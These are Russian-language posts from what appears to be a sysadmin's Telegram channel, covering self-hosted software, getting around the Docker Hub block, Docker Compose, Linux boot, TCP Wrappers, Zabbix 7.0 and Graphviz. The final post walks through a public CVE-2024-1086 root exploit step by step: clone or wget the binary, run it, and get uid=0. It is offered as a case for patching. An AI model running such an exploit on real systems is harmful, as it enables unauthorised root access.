▶️ Месяц назад на youtube канале, который мне очень нравится, вышли два ролика. В них автор кратко рассказал про его любимый open source софт, который он использует. Там внушительный список получился, поэтому решил вынести его в отдельную публикацию. В видео мне понравилось то, что большую часть софта я тоже знаю, писал о ней тут, а что-то тоже использую.

Думаю, вам тоже это может быть полезным, поэтому сделал краткую выжимку со ссылками. Автор кратко рассказывает о софте и показывает работу с ним в веб интерфейсе. Получилось кратко и наглядно. Можно для себя что-то полезное вынести.

⇨ The Free and Open Source Software I Use in 2024 - Part 1:

◽Webmin - известная веб панель управления сервером. Мне было удивительно увидеть свежую версию. Давно не ставил и не видел этого внешнего вида. Раньше тема была другая.

◽PiKVM - KVM over IP на базе одноплатников типа Raspberry Pi. Позволяет переустанавливать системы, заходить в BIOS и т.д. То есть как на обычных KVM. Сходу не понял, как это технически реализовано. Надо будет отдельно разобраться и попробовать. Выглядит интересно, не слышал раньше о подобном софте.

◽Nginx Proxy Manager - известная веб панель для управления конфигурациями Nginx. Сделана качественно и функционально, приятно пользоваться. Писал о ней не раз.

◽MeshCentral - софт для удалённого управления компьютерами через браузер. Вроде недавно про него писал, а прошло уже более 3-х лет 😱

◽Portainer-CE - веб панель для управления Docker контейнерами. Удобная и популярная панель. Лучшая в своём классе.

◽Vaultwarden - хранение и групповое использование сохранённых учётных данных.

◽Metabase - BI-инструмент для составления отчетов, визуализации выборок, учёта финансов и т.д.

◽Remotely - ещё один неплохой софт для удалённого управления компами. Отличается тем, что упакован в Docker и очень легко разворачивается.

◽Guacamole - шлюз для удалённых подключений к серверам всех мастей по ssh, rdp, vnc и т.д.

◽Authentik - популярный сервис для своего SSO.

◽Netbird - платформа для построения распределённых VPN сетей на базе Wireguard.

◽LXConsole - веб интерфейс для управления LXC контейнеров. Ни разу не слышал о таком.

◽Home Assistant - известный софт для построения и управления "умным домом".

◽NextCloud - всем известный файловый сервер и собственное облачное хранилище для файлов и работы с документами.

◽RocketChat - один из самых популярных self-hosted чатов. Хорошо его знаю, так как админю в том числе.

◽Dashy - создание дашборда для стартовой страницы браузера с информацией и ссылками на свои сервисы.

◽Trilium Notes - популярный сервис для хранения заметок.

⇨ The Open Source Software I use in 2024 - Part 2:

◽Mail-in-a-Box - сборка для установки почтового сервера на базе Postfix + Dovecot.

◽Jitsi Meet - сервис для ауди и видео конференций, замена zoom, google meet и т. д.

◽Pi-hole - фильтрующий DNS сервер для блокировки рекламы.

◽Uptime Kuma - симпатичный и простой в настройке мониторинг для http, icmp и tcp проверок.

◽OpenMediaVault - дистрибутив на базе Debian для организации файлового сервера.

◽XPipe - менеджер SSH подключений. С тех пор, как писал о нём, так и пользуюсь для небольшой группы серверов. Неплохой софт.

◽RustDesk - ещё один качественный софт для организации инфраструктуры на основе своих серверов с выдачей ID для управления удалёнными компьютерами.

Некоторый софт пропустил, который посчитал не таким интересным. Иначе всё не уместилось бы в одну публикацию.

#видео

​​Вчера свершилось знаменательное событие - заблокировали доступ к hub.docker.com с IP адресов в России. Теперь без лишних телодвижений не скачать образы из этого репозитория. Не очень понятно, зачем это сделали, почему только сейчас и в чём тут смысл, если обойти эту блокировку, как и многие другие, не представляет каких-то проблем.

Расскажу несколько простых разных способов обхода этой блокировки.

1️⃣ Самый простой - переключиться на какое-то зеркало. Их сейчас много появится и встанет вопрос доверия к ним. Пока можно гугловское зеркало использовать, но его скорее всего тоже рано или поздно для нас заблокируют. Для этого достаточно создать конфиг /etc/docker/daemon.json, если у вас его нет, следующего содержания:

{ "registry-mirrors": ["https://mirror.gcr.io"] }

Перезапускаем службу и пользуемся, как раньше.

# systemctl restart docker

Больше ничего менять не надо.

2️⃣ Использовать локально подключение докера к своему реджистри через прокси. Недавно я об этом рассказывал и там многие написали, типа зачем всё это, доступ не заблокирован. Потому что не будет вашего итальянского сыра ХАХАХАХА. Сегодня этот реджистри, завтра все остальные. Прокси тоже относительно просто решает вопрос для единичного хоста.

3️⃣ Можно глобально на общем шлюзе настроить VPN подключение к серверу за пределами РФ, маркировать весь трафик, что блокируется и отправлять его через VPN соединение. Я так делаю дома для себя и своих тестовых стендов. Рассказывал про эту настройку на примере Mikrotik.

4️⃣ Поднять собственный прокси для докера, который будет иметь доступ к hub.docker.com. Не важно, как это будет сделано у него: через VPN он будет подключаться, или сразу поднят на VPS за пределами РФ. Вы со своей стороны будете подключаться к этому прокси, а он будет по вашим запросам загружать образы.

Проще всего подобный прокси поднять с помощью Nexus repository. Показываю, как это сделать. Я сразу взял VPS за пределами РФ и развернул там:

# docker volume create --name nexus-data
# docker run -d -p 8081:8081 -p 8082:8082 --name nexus \
-v nexus-data:/nexus-data sonatype/nexus3

В файле /var/lib/docker/volumes/nexus-data/_data/admin.password смотрим пароль от пользователя admin. Идём в веб интерфейс Nexus по IP адресу сервера на порт 8081.

Переходим в раздел управления и добавляем новый репозиторий. Тип выбираем docker (proxy). Если вы сами к прокси будете подключаться через VPN или проксировать к нему запросы через ещё какой-то прокси, типа Nginx или HAproxy, то можно в свойствах репозитория выбрать только HTTP и порт 8082. Это упростит настройку. Рекомендую идти именно по этому пути, чтобы ограничить тем или иным способом доступ к этому репозиторию. Вы же не будете его открывать в общий доступ для всех. В таком случае можно будет установить флаг Allow anonymous docker pull. Не нужно будет на всех хостах аутентификацию проходить.

В качестве Remote Storage можно указать https://registry-1.docker.io. Это докеровский репозиторий. Остальные настройки можно оставить по умолчанию, либо изменить в зависимости от ваших предпочтений.

Также зайдите в раздел Security ⇨ Realms и добавьте Docker Bearer Token Realm. Без него аутентификация в реджистри не будет работать.

После создания репозитория, можно его открыть. Там будет показан его url в зависимости от ваших настроек порта, http и адреса самого Nexus. Теперь его можно использовать в настройках /etc/docker/daemon.json:

{
    "insecure-registries": ["10.105.10.105:8082"],
    "registry-mirrors": ["https://10.105.10.105:8082"]
}

Перезапускайте службу Docker и пробуйте. Можно аутентифицироваться в своём реджистри и что-то загрузить:

# docker login 10.105.10.105:8082
# docker pull nginx

Идём в веб интерфейс Nexus, смотрим обзор репозитория и видим там скачанный образ Nginx.

Пока на практике каких-то реальный проблем с ограничением доступа нет. Если кто-то использует другие способы, поделитесь информацией. С помощью Nexus можно прокси для любых репозиториев делать, не только Docker.

#devops #docker

▶️ Всем хороших тёплых теперь уже летних выходных. Как обычно, ниже те видео из моих подписок за последнее время (обычно беру период в 2 недели), что мне показались интересными. В начале будет самое актуальное 😁 (хотя всех уже наверное задолбала эта тема)

⇨ Установка Adguard Home и разблокировка Docker Hub, ClamAV и TMDB
Наглядная инструкция на тему настройки Adguard Home для обхода блокировок с той стороны путём перенаправления трафика к заблокированным доменам на отдельные DNS сервера. А они каким-то образом резолвят ответы так, что блокировка обходится. Интересное решение. Я не знал, что так вообще можно сделать. Не понял техническую реализацию такого обхода.

🔥How To Migrate ZABBIX from MySQL to PostgreSQL
⇨ Set up TimescaleDB with Zabbix for Extra Performance
Два полезных видео от Dmitry Lambert на тему перевода Zabbix с MySQL на PostgreSQL, а так же подключения TimescaleDB для увеличения производительности подсистемы хранения метрик.

⇨ HTTP API | Компьютерные сети 2024 - 14
⇨ Система доменных имен DNS | Компьютерные сети 2024 - 15
Очередные уроки с курса по сетям от Созыкина Андрея.

⇨ Установка XPEnology 7.2 на мини ПК с SSD NVME M2
Инструкция по установке XPEnology. Кто не знает, что это такое, рекомендую познакомиться. Я пользуюсь более 10-ти лет. Думаю, что в районе 12-13 лет уже.

⇨ Proxmox Backup Server. Установка, настройка, тест, обзор функций.
Очень подробный разбор PBS для создания бэкапов VM и не только в Proxmox. Кто с ним знаком, смотреть особо нет смысла. Кто не знаком, получит полное представление о нём.

⇨ Proxmox Automation with Proxmox Helper Scripts!
Обзор известной коллекции Proxmox Helper Scripts, про которую постоянно вспоминают в комментариях к заметка о Proxmox. Да я и сам писал ранее о них. Отдельно хочу упомянуть статью от этого автора у него на сайте про автоматизацию полива грядок на своём участке. Мне было интересно посмотреть, на базе чего это технически реализуется. Стоит всё это немало для нашего уровня жизни.

⇨ Выбор VPN для использования в Mikrotik
Очень подробный разбор всех вариантов VPN в Микротике от сертифицированного тренера Козлова Романа. Видео большое (2 часа), так как это лекция, а не смонтированный ролик по теме с выжимкой информации.

⇨ Zammad - Open Source Helpdesk and Ticketing software for your MSP, IT or other business needs!
Подробный обзор Zammad - одной из лучших open source систем для организации собственной HelpDesk службы. Я когда-то давно делал про неё заметку.

⇨ I automated EVERYTHING in my HomeLab with Kestra
Я не так давно писал про Kestra. Автор видео развернул у себя эту систему и рассказал, как её использует для автоматизации.

⇨ Zero-Trust for DevOps! Twingate + Terraform + Kubernetes
Подробное видео по использованию Twingate в Kubernetes. Это инструмент для довольно популярного последнее время направления по организации peer-to-peer соединений в рамках распределённой VPN сети. А так же для подключения внешних клиентов в эти сети.

⇨ BEST Server Monitoring with TICK stack setup for FREE!
Очень понравился TICK stack для мониторинга. Никогда раньше о нём не слышал. Это связка в docker-compose нескольких популярных open source продуктов: Telegraf, InfluxDB, Chronograf, Kapacitor. У автора есть серия статей по этой теме. Ссылки в описании к видео.

⇨ Без вышки все? Нужно ли высшее образование DevOps, программисту, и др айти специалисту?
Рассуждения автора на актуальную тему. Сам я лично так и не определился, нужно ли это или нет. У меня есть высшее техническое образование практически по моей специальности (математик-программист, были курсы и по администрированию, и по сетям, и по ОС и т.д.). Но не могу сказать, что на практике оно мне сильно помогло в работе. Для старта и получения работы больше помог сертификат Microsoft, который я получил перед окончанием вуза и поиском работы.

#видео

🔝 ТОП постов за прошедший месяц. Все самые популярные публикации по месяцам можно почитать со соответствующему хэштэгу #топ. Отдельно можно посмотреть ТОП за прошлый год.

Пользуясь случаем, хочу попросить проголосовать за мой канал, так как это открывает некоторые возможности по настройке (не только публикацию историй): https://t.iss.one/boost/srv_admin.

📌 Больше всего просмотров:
◽️Связка Grafana + Influxdb + K6 для нагрузочного тестирования (12857)
◽️Песня про системных администраторов (12563)
◽️Комбинация Alt+Shif+3 в терминале bash (11870)

📌 Больше всего комментариев:
◽️Утро на удалёнке (208)
◽️Взлом СДЕК (163)
◽️Перенос ОС на базе Linux с помощью dd (83)

📌 Больше всего пересылок:
◽️Подборка заметок по базовым консольным программам Linux (💥938 не зря пол дня их собирал)
◽️Быстрый запуск Prometheus + Grafana (468)
◽️Сервис zonemaster.net для проверки DNS (449)

📌 Больше всего реакций:
◽️Заметка ко дню победы на 9-е мая (401)
◽️Комбинация Alt+Shif+3 в терминале bash (309)
◽️Взлом СДЕК (263)
◽️Подборка заметок по базовым консольным программам Linux (💥251)
◽️Комбинация Ctrl+s в терминале bash (242)

Отмечу, что в заметки по не IT тематике постоянно приходят разные люди и говорят, что мне не стоит об этом писать на канале. Но реакция аудитории неизменно показывает, что этот формат находит отклик в читателях и в целом ими поддерживается.

Писал бы чаще, но в выходные не хочется сидеть, комментарии разбирать, а без этого не обойтись. Слишком часто начинается какой-то балаган, оскорбления и ругань, которую я удаляю сразу. Многие этого не видят. А без комментариев заметки не люблю, так как не нравится односторонний формат общения, хотя это намного проще для писателя.

#топ

​​Я некоторое время назад сделал подборку основных команд, которые использую при работе с Docker. За последнее время в комментариях увидел несколько команд для Docker Compose, которые сам не знал, но они полезны. Решил сделать такую же подборку и для Docker Compose. Сам их все не помню и либо лезу в свою шпаргалку, либо начинаю гуглить. Я тут не привожу самые очевидные команды, типа start, stop, restart с разными ключами и т.д.

📌 Запустить часть контейнеров:

# docker compose up ct1 ct2

📌 Проверить файл конфигурации. Не знал об этой команде и всегда использовал внешние линтеры. Встроенный намного удобнее.

# docker compose config

📌 Запустить новый контейнер и выполнить в нём команду:

# docker compose run ct1 /scripts/start.js

📌 Запустить команду в работающем контейнере:

# docker compose exec ct1 bash

Поясню, в чём тут разница. На первый взгляд команды похожи. Run удобно использовать для выполнения какой-то команды из контейнера, который постоянно не запущен. Например, там какой-то один бинарник или скрипт, который запускается, отрабатывает и больше он не нужен. Удобно запустить его через run. Новый контейнер запустится, отработает и завершит работу. А exec удобно использовать, когда надо что-то запустить в работающем контейнере. Это аналог docker exec.

📌 Посмотреть все логи или логи контейнера:

# docker compose logs
# docker compose logs ct1

📌 Скопировать файлы из/в контейнер:

# docker compose cp prometheus:/etc/prometheus/prometheus.yml ~/
# docker compose cp ~/prometheus/prometheus.yml prometheus:/etc/prometheus/

Последняя команда скопирует файл только если он лежит в директории с docker-compose.yml, который запущен.

📌 Приостановить и запустить контейнеры:

# docker compose pause
# docker compose unpause

Для приостановки контейнеров используется механизм cgroups freezer. Процессам отправляется команда SIGSTOP для заморозки и SIGCONT для продолжения работы.

📌 Посмотреть список запущенных контейнеров:

# docker compose top

📌 Посмотреть графическую схему всего docker-compose. Используется экспериментальная возможность экспорта содержимого композа в формат программы graphviz:

# docker compose alpha viz --networks --ports --image

Копируем полученный текст и вставляем в любой публичный онлайн редактор graphviz, например этот. Получаем наглядную схему связей контейнеров вместе с сетями и проброшенными портами. Удобно посмотреть на большой конфиг. Например, от mailcow.

📌Выполнить тестовую отработку команды без реальных действий:

# docker compose cp prometheus:/etc/prometheus/prometheus.yml ~/ --dry-run

Можно добавлять --dry-run к любой команде. Актуально для копирования файлов, так как там легко ошибиться с путём или файлом.

Полный набор всех команд и возможностей Docker Compose можно посмотреть в документации:

⇨ https://docs.docker.com/compose/reference

#docker

​​Есть популярный вопрос для собеседования администраторов Linux:

❓Расскажите, как происходит загрузка операционной системы на базе Linux.

Тема, на самом деле полезная, в отличие от некоторых других, имеет прикладное значение, особенно если приходится переносить системы, либо сталкиваться с тем, что тот или иной сервер по какой-то причине не загружается. А причин может быть много. Не понимая процесс загрузки, решить их затруднительно. Расскажу эту тему своими словами с примерами из своей практики.

1️⃣ После запуска сервера или виртуалки, первым делом загружается bios или uefi. Bios ищет загрузчик на локальном или сетевом носителе и запускает его. Uefi может в себе содержать загрузчик. А может и нет. Если вы переносите виртуалку с одного гипервизора на другой, то обязательно учитывайте этот момент, используется bios или uefi. Если второе, то на другом гипервизоре нужно будет воспроизвести настройки uefi, чтобы виртуалка заработала. Если честно, я не совсем понимаю, зачем может быть нужен uefi для виртуальных машин, если не используется secure boot. Проще использовать обычный bios. Пример, как может на практике выглядеть перенос VM с uefi с HyperV на Proxmox.

2️⃣ Дальше загружается загрузчик с диска (не обязательно локального, может и сетевого). Для Linux обычно это GRUB. Я ничего другого не встречал, хотя есть и другие. У загрузчика есть небольшое меню и набор опций, которые иногда пригождаются. Например, если загрузчик по какой-то причине не смог загрузиться с диска или раздела, который у него указан загрузочным. Можно это сделать вручную через grub rescue. Пример, когда я так поступал, чтобы починить загрузку системы.

❗️Важно не забывать про загрузчик, когда вы используете в качестве загрузочного диска mdadm раздел софтового рейда. Загрузчик GRUB должен быть на всех дисках, входящих в рейд массив, чтобы в случае выхода из строя одного диска, вы могли загрузиться с любого другого. Он не реплицируется автоматически, так как mdadm работает на уровне разделов диска, а загрузчик располагается вне разделов.

3️⃣ В зависимости от настроек GRUB, загружается ядро Linux. Оно монтирует специально подготовленный образ файловой системы initramfs, загружаемый в оперативную память. Этот образ содержит все необходимые настройки и драйвера, чтобы загрузиться с нестандартный файловых систем, с LVM, с RAID, по сети и т.д. Там могут быть любые настройки. Можно выводить какую-то заставку, проверять диски и многое другое. Также с него запускается первый процесс init.

Процесс пересборки initramfs вы можете наблюдать при обновлениях ядра в системе. В конце обычно пакетный менеджер подвисает на несколько секунд как раз на пересборке initramfs. Если ему помешать в этот момент, то потом можете не загрузиться с новым ядром, для которого не собрался initramfs. Я с таким сталкивался. А вот пример, когда с этим же столкнулся человек на своём ноуте. Мой совет с пересборкой initramfs ему помог.

Иногда после переноса на другое железо, сервер или вируталка могут не запуститься, потому что в initramfs не будет поддержки необходимого железа. В
этом случае initramfs нужно будет пересобрать с поддержкой всего, что необходимо для успешной загрузки. Это можно сделать либо на старом месте, пока система ещё работает, либо загрузиться с какого-то livecd.

4️⃣ После запуска Init начинает загружаться система инициализации и управления службами. Сейчас это почти везде SystemD. Здесь я особо не знаю, что рассказать. С какими-то проблемами если и сталкивался, то это уже отдельные моменты в работающей системе, которые относительно легко исправить, так как чаще всего к системе уже есть удалённый доступ.

Написал всё так, как я это знаю и понимаю. Возможно в чём-то ошибаюсь, потому что в каждом из этих разделов есть много нюансов. Один только uefi чего стоит. Я как мог ужал материал, чтобы уместить в формат заметки и дать максимум информации, которая пригодится в реальной работе.

#linux #grub

​​В ОС на базе Linux есть очень простой в настройке инструмент по ограничению сетевого доступа к сервисам. Он сейчас почти не применяется, так как не такой гибкий, как файрволы, но тем не менее работает до сих пор. Речь пойдёт про TCP Wrappers, которые используют библиотеку libwrap для ограничения доступа. По своей сути это файрвол уровня приложений, которые его поддерживают. Расскажу, как это работает.

В большинстве Linux дистрибутивов есть файлы /etc/hosts.allow и /etc/hosts.deny. Сразу покажу пример, как всем ограничить доступ к SSH и разрешить только с указанных локальных подсетей. Добавляем в /etc/hosts.allow:

sshd : 10.20.1.0/24
sshd : 192.168.13.0/24

И одновременно в /etc/hosts.deny:

sshd : ALL

Всё, теперь подключиться можно будет только из указанных сетей. При подключении из другого места в логе SSHD будут такие строки:

# journalctl -u ssh -n 10
sshd[738]: refused connect from 10.8.2.2 (10.8.2.2)

Не нужна ни перезагрузка, ни запуск каких-либо программ. Просто добавляете записи в указанные файлы и они сразу же применяются. Можно логировать заблокированные попытки:

sshd : ALL \ : spawn /usr/bin/echo "$(/bin/date +"%%d-%%m-%%y %%T") SSH access blocked from %h" >> /var/log/libwrap

В файле /var/log/libwrap будет аккуратная запись:

03-06-24 12:29:31 SSH access blocked from 10.8.2.2

Для того, чтобы эта функциональность работала, программа должна поддерживать указанную библиотеку. Проверить можно так:

# ldd /usr/sbin/sshd | grep libwrap
libwrap.so.0 => /lib/x86_64-linux-gnu/libwrap.so.0 (0x00007f55228a2000)

В Debian 12 sshd поддерживает, но так не во всех дистрибутивах. Надо проверять. Из более-менее популярного софта libwrap поддерживается в vsftpd, nfs-server, apcupsd, syslog-ng, nut, dovecot, stunnel, nagios, Nutanix Controller VM.

Очевидно, что тот же iptables или nftables более функциональный инструмент и полагаться лучше на него. Но в каких-то простых случаях, особенно, если нужно ограничить только ssh, можно использовать и libwrap. Также можно продублировать в нём правила, чтобы в случае ошибки в файрволе, доступ к некоторым сервисам точно не был открыт. Ну и просто полезно знать, что есть такой инструмент. Мало ли, придётся столкнуться.

#linux #security

​​Недавно рассказывал про Shodan и упомянул его бесплатный сервис internetdb.shodan.io, который по запросу выдаёт некоторую информацию из своей базы по IP адресу.

Работает примерно так:

# curl https://internetdb.shodan.io/112.169.51.142
{"cpes":["cpe:/a:openbsd:openssh","cpe:/a:jquery:jquery:1.11.1","cpe:/a:vmware:rabbitmq:3.5.7"],"hostnames":[],"ip":"112.169.51.142","ports":[22,123,4369,5672,8080],"tags":["eol-product"],"vulns":["CVE-2019-11358","CVE-2021-32718","CVE-2020-11023","CVE-2021-22116","CVE-2015-9251","CVE-2023-46118","CVE-2022-31008","CVE-2020-11022","CVE-2021-32719"]}

Вся информация, что у них есть, выдаётся в виде json. В целом, ничего интересного. Я об этом знал и писать не собирался. Но моё внимание привлёк один комментарий со ссылкой на excel таблицу, где можно в одном листе задать список IP адресов, сделать запрос в этот сервис и на другой получить в таблице вывод в удобном виде.

Вот эта штука меня заинтересовала. Стало любопытно, как это реализовано в Excel. Тут я завис надолго, так как не знаком с подобными возможностями. Разбирался методом тыка сам, но в итоге освоил инструмент. Он на удивление удобен и функционален, поэтому и решил о нём написать. Можно забирать какой-нибудь json, парсить его и выводить в удобочитаемом виде в таблицах. Это много где может пригодиться.

Работает это с помощью встроенного инструмента Excel Power Query. Конкретно с shodan работа выглядит так:

1️⃣ На первом листе формируем список IP адресов для анализа.
2️⃣ Добавляем источник данных из интернета в виде ссылки https://internetdb.shodan.io/, где в конце в качестве аргументов передаём список IP адресов.
3️⃣ Получаем ответы от запросов, преобразуем их в читаемый вид в таблицах.

Привожу свой вариант таблицы: https://disk.yandex.ru/d/S2FNRDEcZpHBJQ Работать будет только в Excel. Можете использовать у себя, поменяв список IP адресов. Нужно его заполнить, перейти на вкладку Данные и нажать на Обновить все. Чтобы посмотреть, как там всё устроено, надо Запустить Редактор Power Query. Это отдельный раздел меню там же на вкладке Данные.

В редакторе добавлен один параметр в виде IP адреса 1.1.1.1, для него сформирован набор действий в виде запроса в shodan и обработки ответа. Далее эти действие превращены в функцию. И потом эта функция применяется на список IP адресов в листе. Результат выводится на второй лист.

Не знаю, зачем я всё это изучил 😁. Но мне кажется, может пригодится. Как минимум, эту табличку удобно использовать для себя. Добавить все IP адреса с комментариями и периодически глазами просматривать, что там есть интересного.

#security

​​Вчера был релиз новой версии Zabbix Server 7.0. Это LTS версия со сроком поддержки 5 лет. Я буду обновлять все свои сервера со временем на эту версию. Почти всегда на рабочих серверах держу LTS версии, на промежуточные не обновляюсь.

Не буду перечислять все нововведения этой версии. Их можно посмотреть в официальном пресс-релизе. Они сейчас много где будут опубликованы. На русском языке можно прочитать в новости на opennet. Отмечу и прокомментирую то, что мне показалось наиболее интересным и полезным.

1️⃣ Обновился мониторинг веб сайтов. Очень давно ждал это. Почти все настроенные мной сервера так или иначе мониторили веб сайты или какие-то другие веб службы. Функциональность востребована, а не обновлялась очень давно. Как в версии то ли 1.8, то ли 2.0 я её увидел, так она и оставалось неизменной. Появился новый тип айтема для этого мониторинга - Browser.

2️⃣ Появилась централизованная настройка таймаутов в GUI. На функциональность особо не влияет, но на самом деле нужная штука. Таймауты постоянно приходится менять и подгонять значения под конкретные типы проверок на разных серверах. Удобно, что это можно будет делать не в конфигурационном файле, а в веб интерфейсе. И эти настройки будут иметь приоритет перед всеми остальными.

3️⃣ Добавили много разных виджетов. Не скажу, что это прям сильно нужно лично мне при настройке мониторинга. Скорее больше для эстетического удовольствия их делаю. Для анализа реальных данных обычно достаточно очень простых дашбордов с конкретным набором графиков, а не различные красивые виджеты в виде спидометров или сот. Но ситуации разные бывают. Например, виджет с географической картой активно используется многими компаниями. Из новых виджетов наиболее интересные - навигаторы хостов и айтемов.

4️⃣ Появилась мультифакторная аутентификация из коробки для веб интерфейса. Так как он часто смотрит напрямую в интернет, особенно у аутсорсеров, которые могут давать доступ заказчикам к мониторингу, это удобно.

5️⃣ Добавилось много менее значительных изменений по мониторингу. Такие как мониторинг DNS записей, возможность передавать метрики напрямую в мониторинг через API с помощью метода history.push, объекты, обнаруженные через discovery, теперь могут автоматически отключаться, если они больше не обнаруживаются, выборку через JSONPath теперь можно делать и в функциях триггеров, а не только в предобработке, можно выполнять удалённые команды через агенты, работающие в активном режиме.

Много работы проделано для увеличения производительности системы в целом. Перечислять всё это не стал, можно в новости от вендора всё это увидеть. Новость, в целом приятная. Мне нравится Zabbix как продукт. Буду обновляться потихоньку и изучать новые возможности.

Если что-то ещё значительное заметили среди изменений, дайте знать. А то я иногда что-то пропускаю, а потом через год-два после релиза вдруг обнаруживаю, что какая-то полезная возможность, про которую я не знал, реализована. Много раз с таким сталкивался.

#zabbix

​​Есть относительно простой и удобный инструмент для создания различных схем на основе текстового описания в формате определённого языка разметки. Я уже на днях упоминал про этот продукт на примере схемы связей контейнеров в docker-compose файле. Речь идёт про Graphviz. Это очень старый и известный продукт, который развивается и поддерживается по сей день.

Graphviz кто только не использует. Им рисуют и логические блок-схемы, и связи таблиц в СУБД, и связи классов какого-то кода, и схемы сетей. На последней я и остановлюсь, как наиболее близкой к системному администрированию тематике. Сразу покажу пример рисования небольшой схемы сети.

Поставить Graphviz можно через apt, так как он есть в базовых репозиториях:

# apt install graphviz

Теперь подготовим небольшую схему сети с роутером, свитчами, точкой доступа и стойкой.

graph network {

node [
shape=box,
fontname="arial",
fontsize=8,
style=filled,
color="#d3edea"
];
splines="compound"

label="Схема сети\n ";
labelloc="t"
fontname="arial";

sw1 [ label="SW-01\n192.168.1.101" ];
sw2 [ label="SW-02\n192.168.1.102" ];
sw3 [ label="SW-03\n192.168.1.103" ];
sw4 [ label="SW-04\n192.168.1.104" ];
router [ label="Router\nVPN Server\n192.168.1.10" color="#cf7b7b"];
wp1 [ label="WiFi\nWP-01\n192.168.1.200" shape=hexagon color="#a8d1b0"];
servers [ label="Servers" fontsize=14 shape=doubleoctagon color="#FF4500"];
router -- sw1;
sw1 -- sw2 [color="#ffbb00"];
sw1 -- sw3 [color="#ffbb00"];
sw1 -- wp1 [color="#ffbb00"];
sw2 -- sw4 [color="#ffbb00"];
sw3 -- servers [color="#ffbb00"];
}

Создаём картинку:

# dot -Tpng network.dot -o network.png

Смотрим её в браузере:

# python3 -m http.server 80

Посмотрел примеры, почитал документацию. Где-то час поразбирался, попробовал разные свойства, формы объектов, цвета и т.д. В итоге такую схему набросал. Можно в фон ставить разные картинки к объектам. Не стал с этим заморачиваться.

Graphviz позволяет вести схемы в документациях как код. Хранить их в git, изменять, сохранять историю. Подобного рода продуктов сейчас немало. Конкретно этот мне показался простым. Он из стародавних времён, поэтому формат конфига у него простой и логичный. Я быстро уловил суть, а дальше рисование уже дело техники.

Устанавливать локально его не обязательно. Удобнее рисовать в каком-то онлайн редакторе, где сразу виден результат. Например, тут: https://dreampuf.github.io/GraphvizOnline

⇨ Сайт / Исходники / Онлайн редактор

#схемы

Вчера обновил один из своих серверов Zabbix до версии 7.0. Сразу же оформил всю информацию в статью. У меня сервер был установлен на систему Oracle Linux Server 8.10. Процедура прошла штатно и без заминок. Основные моменты, на которые нужно обратить внимание:

▪️ Версия 6.0 требовала php 7.2, эта требует 8.0. Не забудьте отдельно обновить и php. Напрямую к Zabbix Server это не относится, так что само не обновится. Мне пришлось подключить отдельный репозиторий Remi и поставить php 8.0 оттуда. В более свежих системах этого делать не потребуется, так как там 8.0+ в базовых репах. Особо заморачиваться не придётся.

▪️ Обновление самого сервера прошло штатно. Подключил репу новой версии и обновил пакеты. Можно воспользоваться официальной инструкцией, но она куцая.

💥Прямое обновление до 7.0 возможно практически в любой прошлой версии. Дословно с сайта Zabbix: Direct upgrade to Zabbix 7.0.x is possible from Zabbix 6.4.x, 6.2.x, 6.0.x, 5.4.x, 5.2.x, 5.0.x, 4.4.x, 4.2.x, 4.0.x, 3.4.x, 3.2.x, 3.0.x, 2.4.x, 2.2.x and 2.0.x. For upgrading from earlier versions consult Zabbix documentation for 2.0 and earlier.

▪️ Шаблоны мониторинга, оповещений и интеграций нужно обновлять отдельно, если хотите получить свежую версию. С самим сервером они автоматически не обновляются. В статье я написал, как можно провести эту процедуру.

▪️ Обновлять агенты до новой версии не обязательно. Всё будет нормально работать и со старыми версиями агентов. Обновление агентов опционально, но не обязательно.

▪️ Обновлять прокси тоже не обязательно, но крайне рекомендуется. Полная поддержка прокси сервером возможна только в рамках одной релизной ветки. Прокси прошлого релиза поддерживаются в ограниченном формате.

#zabbix

​​Расскажу для тех, кто не знает. Есть отечественная система для бэкапов RuBackup. Я про неё узнал ещё года 1,5 назад. Меня пригласили на какую-то конференцию, где про неё и другие отечественные решения для бэкапа рассказывали. Я послушал, мне в целом понравилось, но руки так и не дошли попробовать.

Там внушительные возможности по функциональности. KVM и, в частности, Proxmox, тоже поддерживается. Есть бесплатная версия без существенных ограничений, но для бэкапов объёмом суммарно до 1ТБ уже после дедупликации. Понятно, что для прода это очень мало, но для личных нужд или теста вполне достаточно.

Сразу скажу, что сам с этой системой не работал. Хотел поставить и попробовать, поэтому и заметку не писал так долго, но руки так и не дошли. И, наверное, не дойдут, поэтому решил написать. Это не реклама, у меня никто эту заметку не заказывал.

Если кто-то пользовался, покупал, внедрял, поделитесь, пожалуйста, впечатлением.

Пока писал заметку, полазил по сайту и увидел, что срок действия бесплатной лицензии - 1 год 🤦 Зачем так делать, я не понимаю. Раньше этого ограничения не было, иначе я бы не добавил к себе в закладки эту систему на попробовать. Я не пробую и не пишу про коммерческие решения, где нет хоть какой-нибудь бесплатной версии, которой можно полноценно пользоваться.

Так бы можно было для себя оставить систему корпоративного уровня, но с ограничениями, которые в личном использовании не критичны. Так делают многие вендоры. Почему RuBackup и многие другие отечественные компании не хотят идти по этому пути для популяризации своих продуктов, я не понимаю. С ограничением в 1ТБ эту систему и так в коммерческую организацию не поставишь. Какой смысл ещё и по времени пользования ограничивать? Неужели это какую-то упущенную прибыль может принести? Кто-нибудь может это объяснить?

#backup

​​Некоторое время назад была обнаружена любопытная уязвимость в ядре Linux, которая позволяет пользователю получить права root. Обратил на неё внимание и решил написать, потому что к ней существует очень простой эксплойт, который каждый может попробовать и оценить его эффективность. Это наглядно показывает, почему ОС лучше регулярно обновлять с перезагрузкой системы, чтобы загрузилось обновлённое ядро без уязвимости.

Речь идёт про CVE-2024-1086. Недавно по этой уязвимости было обновление, и прокатилась волна новостей по теме, поэтому я и обратил на неё внимание, хотя сама уязвимость ещё в январе была обнаружена. Уязвимости подвержены все необновлённые ядра Linux версий с 5.14 по 6.6.14. Я для теста взял виртуалку с уязвимым ядром и получил права root.

Есть репозиторий с готовый эксплойтом:

⇨ https://github.com/Notselwyn/CVE-2024-1086

Заходим в систему под юзером, смотрим ядро:

# uname -a
Linux ubuntu22-vm 6.2.0-1014-azure #14~22.04.1-Ubuntu SMP Wed Sep 13 16:15:26 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux

Ядро уязвимо. Клонируем репозиторий и собираем бинарник:

# git clone https://github.com/Notselwyn/CVE-2024-1086
# cd CVE-2024-1086
# make

Для успешной сборки нужны некоторые пакеты:

# apt install make gcc musl-tools

Если по какой-то причине не получится собрать, можете взять готовый бинарник:

# wget https://github.com/Notselwyn/CVE-2024-1086/releases/download/v1.0.0/exploit
# chmod +x exploit

Запускаем эксплойт:

# ./exploit

Проверяем своего пользователя:

# id
uid=0(root) gid=0(root) groups=0(root)

